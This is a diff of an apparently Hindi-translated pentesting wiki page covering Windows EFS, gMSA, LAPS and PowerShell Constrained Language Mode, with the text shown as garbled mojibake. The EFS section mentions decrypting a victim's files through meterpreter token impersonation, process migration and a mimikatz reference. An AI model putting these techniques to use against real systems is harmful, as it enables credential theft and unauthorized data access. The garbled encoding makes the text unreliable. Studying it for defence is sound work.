рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбрд┐рдЬрд┐рдЯрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рд╕рдВрдмрдВрдзрд┐рдд **рдирд┐рдЬреА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ FEK рдХреЛ $EFS рд╕реНрдЯреНрд░реАрдо рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг [рдпрд╣рд╛рдВ](https://en.wikipedia.org/wiki/Encrypting_File_System) рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
 
 **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкрд╣рд▓ рдХреЗ рдмрд┐рдирд╛ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдкрд░рд┐рджреГрд╢реНрдп** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
 
-- рдЬрдм рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдЧреИрд░-EFS рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо, рдЬреИрд╕реЗ [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред
-- SMB/CIFS рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рднреЗрдЬреА рдЧрдИ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рд╕рд╛рд░рдг рд╕реЗ рдкрд╣рд▓реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИрдВред
+- рдЬрдм рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдЧреИрд░-EFS рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), рддреЛ рд╡реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред
+- рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SMB/CIFS рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреА рдЧрдИ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рд╕рд╛рд░рдг рд╕реЗ рдкрд╣рд▓реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИрдВред
 
-рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╡рд┐рдзрд┐ рдорд╛рд▓рд┐рдХ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ **рдкрд╛рд░рджрд░реНрд╢реА рдкрд╣реБрдВрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреЗрд╡рд▓ рдорд╛рд▓рд┐рдХ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдФрд░ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рдорд┐рд▓реЗрдЧреАред
+рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╡рд┐рдзрд┐ рдорд╛рд▓рд┐рдХ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ **рдкрд╛рд░рджрд░реНрд╢реА рдкрд╣реБрдВрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреЗрд╡рд▓ рдорд╛рд▓рд┐рдХ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдФрд░ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рдорд┐рд▓реЗрдЧреАред
 
 **рдореБрдЦреНрдп рдмрд┐рдВрджреБ**:
 
 - EFS рдПрдХ рд╕рдорд╛рдирд╛рдВрддрд░ FEK рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
 - рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ FEK рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗред
-- FAT32 рдореЗрдВ рдХреЙрдкреА рдХрд░рдиреЗ рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рди рдЬреИрд╕реА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рд╣реЛрддрд╛ рд╣реИред
+- рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд рд╣реЛрддрд╛ рд╣реИ, рдЬреИрд╕реЗ FAT32 рдореЗрдВ рдХреЙрдкреА рдХрд░рдирд╛ рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рдиред
 - рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЗрдВ рдорд╛рд▓рд┐рдХ рдХреЗ рд▓рд┐рдП рдмрд┐рдирд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдХрджрдореЛрдВ рдХреЗ рд╕реБрд▓рдн рд╣реЛрддреА рд╣реИрдВред
 
-### EFS рдЬрд╛рдирдХрд╛рд░реА рдЬрд╛рдВрдЪреЗрдВ
+### Check EFS info
 
 рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдиреЗ рдЗрд╕ **рд╕реЗрд╡рд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдкрде рдореМрдЬреВрдж рд╣реИ:`C:\users\\appdata\roaming\Microsoft\Protect`
 
 рдЬрд╛рдВрдЪреЗрдВ **рдХрд┐рд╕рдХреЗ рдкрд╛рд╕** рдлрд╝рд╛рдЗрд▓ рддрдХ **рдкрд╣реБрдБрдЪ** рд╣реИ `cipher /c \\`\
-рдЖрдк рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ `cipher /e` рдФрд░ `cipher /d` рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ** рдФрд░ **рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
+рдЖрдк рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ `cipher /e` рдФрд░ `cipher /d` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ** рдФрд░ **рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
 
-### EFS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдирд╛
+### Decrypting EFS files
 
-#### рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдгрд╛рд▓реА рд╣реЛрдирд╛
+#### Being Authority System
 
-рдпрд╣ рддрд░реАрдХрд╛ **рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рдПрдХ **рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрджрд┐ рдРрд╕рд╛ рд╣реИ, рддреЛ `meterpreter` рд╕рддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (`impersonate_token` рд╕реЗ `incognito`)ред рдпрд╛ рдЖрдк рдмрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ `migrate` рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рдпрд╣ рддрд░реАрдХрд╛ **рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рдПрдХ **рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрджрд┐ рдРрд╕рд╛ рд╣реИ, рддреЛ `meterpreter` рд╕рддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (`impersonate_token` from `incognito`)ред рдпрд╛ рдЖрдк рдмрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ `migrate` рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
 
-#### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирдирд╛
+#### Knowing the users password
 
 {{#ref}}
 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
@@ -144,11 +144,11 @@ Microsoft рдиреЗ IT рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЛрдВ рдореЗрдВ рд╕реЗ
 
 - **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдмрдВрдзрди**: gMSA рдПрдХ рдЬрдЯрд┐рд▓, 240-рдЪрд░рд┐рддреНрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдбреЛрдореЗрди рдпрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдиреАрддрд┐ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрджрд▓рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ Microsoft рдХреА рдХреА рд╡рд┐рддрд░рдг рд╕реЗрд╡рд╛ (KDC) рджреНрд╡рд╛рд░рд╛ рд╕рдВрднрд╛рд▓реА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдореИрдиреБрдЕрд▓ рдкрд╛рд╕рд╡рд░реНрдб рдЕрдкрдбреЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред
 - **рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рд╡реГрджреНрдзрд┐**: рдпреЗ рдЦрд╛рддреЗ рд▓реЙрдХрдЖрдЙрдЯ рдХреЗ рдкреНрд░рддрд┐ рдкреНрд░рддрд┐рд░рдХреНрд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХреА рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рддреА рд╣реИред
-- **рдХрдИ рд╣реЛрд╕реНрдЯ рд╕рдорд░реНрдерди**: gMSA рдХреЛ рдХрдИ рд╣реЛрд╕реНрдЯреЛрдВ рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЗ рдХрдИ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рдмрди рдЬрд╛рддреЗ рд╣реИрдВред
+- **рдХрдИ рд╣реЛрд╕реНрдЯ рд╕рдорд░реНрдерди**: gMSA рдХреЛ рдХрдИ рд╣реЛрд╕реНрдЯреЛрдВ рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпреЗ рдХрдИ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рдмрди рдЬрд╛рддреЗ рд╣реИрдВред
 - **рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд╛рд░реНрдп рдХреНрд╖рдорддрд╛**: рдкреНрд░рдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдХреЗ рд╡рд┐рдкрд░реАрдд, gMSA рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред
 - **рд╕рд░рд▓ SPN рдкреНрд░рдмрдВрдзрди**: рдЬрдм рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ sAMaccount рд╡рд┐рд╡рд░рдг рдпрд╛ DNS рдирд╛рдо рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реЗрд╡рд╛ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдирд╛рдо (SPN) рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SPN рдкреНрд░рдмрдВрдзрди рд╕рд░рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
 
-gMSA рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб LDAP рдкреНрд░реЙрдкрд░реНрдЯреА _**msDS-ManagedPassword**_ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ (DCs) рджреНрд╡рд╛рд░рд╛ рд╣рд░ 30 рджрд┐рди рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд░реАрд╕реЗрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпрд╣ рдкрд╛рд╕рд╡рд░реНрдб, рдЬрд┐рд╕реЗ [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рдЙрди рд╕рд░реНрд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рди рдкрд░ gMSA рд╕реНрдерд╛рдкрд┐рдд рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрдиреЗрдХреНрд╢рди рдЬреИрд╕реЗ LDAPS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдпрд╛ рдХрдиреЗрдХреНрд╢рди рдХреЛ 'Sealing & Secure' рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
+gMSA рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб LDAP рдкреНрд░реЙрдкрд░реНрдЯреА _**msDS-ManagedPassword**_ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╣рд░ 30 рджрд┐рди рдореЗрдВ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ (DCs) рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд░реАрд╕реЗрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпрд╣ рдкрд╛рд╕рд╡рд░реНрдб, рдЬрд┐рд╕реЗ [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рдЙрди рд╕рд░реНрд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рди рдкрд░ gMSA рд╕реНрдерд╛рдкрд┐рдд рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрдиреЗрдХреНрд╢рди рдЬреИрд╕реЗ LDAPS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдпрд╛ рдХрдиреЗрдХреНрд╢рди рдХреЛ 'Sealing & Secure' рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -162,7 +162,7 @@ gMSA рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб LDAP рдкреНрд░реЙрдкрд░реНрдЯреА _**
 
 ## LAPS
 
-**рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╕рдорд╛рдзрд╛рди (LAPS)**, рдЬрд┐рд╕реЗ [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХреЗ рдкреНрд░рдмрдВрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб, рдЬреЛ **рдпрд╛рджреГрдЪреНрдЫрд┐рдХ**, рдЕрджреНрд╡рд┐рддреАрдп, рдФрд░ **рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдмрджрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдп рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП ACLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
+**рд▓реЛрдХрд▓ рдПрдбрдорд┐рдирд┐рд╕реНрдЯреНрд░реЗрдЯрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЙрд▓реНрдпреВрд╢рди (LAPS)**, рдЬрд┐рд╕реЗ [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕реНрдерд╛рдиреАрдп рдПрдбрдорд┐рдирд┐рд╕реНрдЯреНрд░реЗрдЯрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдкреНрд░рдмрдВрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб, рдЬреЛ **рдпрд╛рджреГрдЪреНрдЫрд┐рдХ**, рдЕрджреНрд╡рд┐рддреАрдп, рдФрд░ **рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдмрджрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдп рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП ACLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рд╕реНрдерд╛рдиреАрдп рдПрдбрдорд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
 
 {{#ref}}
 ../active-directory-methodology/laps.md
@@ -170,15 +170,15 @@ gMSA рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб LDAP рдкреНрд░реЙрдкрд░реНрдЯреА _**
 
 ## PS Constrained Language Mode
 
-PowerShell [**рд╕рдВрд╡рд┐рдзрд╛рдирд┐рдд рднрд╛рд╖рд╛ рдореЛрдб**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell рдХрд╛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХрдИ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИ**, рдЬреИрд╕реЗ COM рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдирд╛, рдХреЗрд╡рд▓ рдЕрдиреБрдореЛрджрд┐рдд .NET рдкреНрд░рдХрд╛рд░реЛрдВ, XAML-рдЖрдзрд╛рд░рд┐рдд рд╡рд░реНрдХрдлрд╝реНрд▓реЛ, PowerShell рдХрдХреНрд╖рд╛рдУрдВ, рдФрд░ 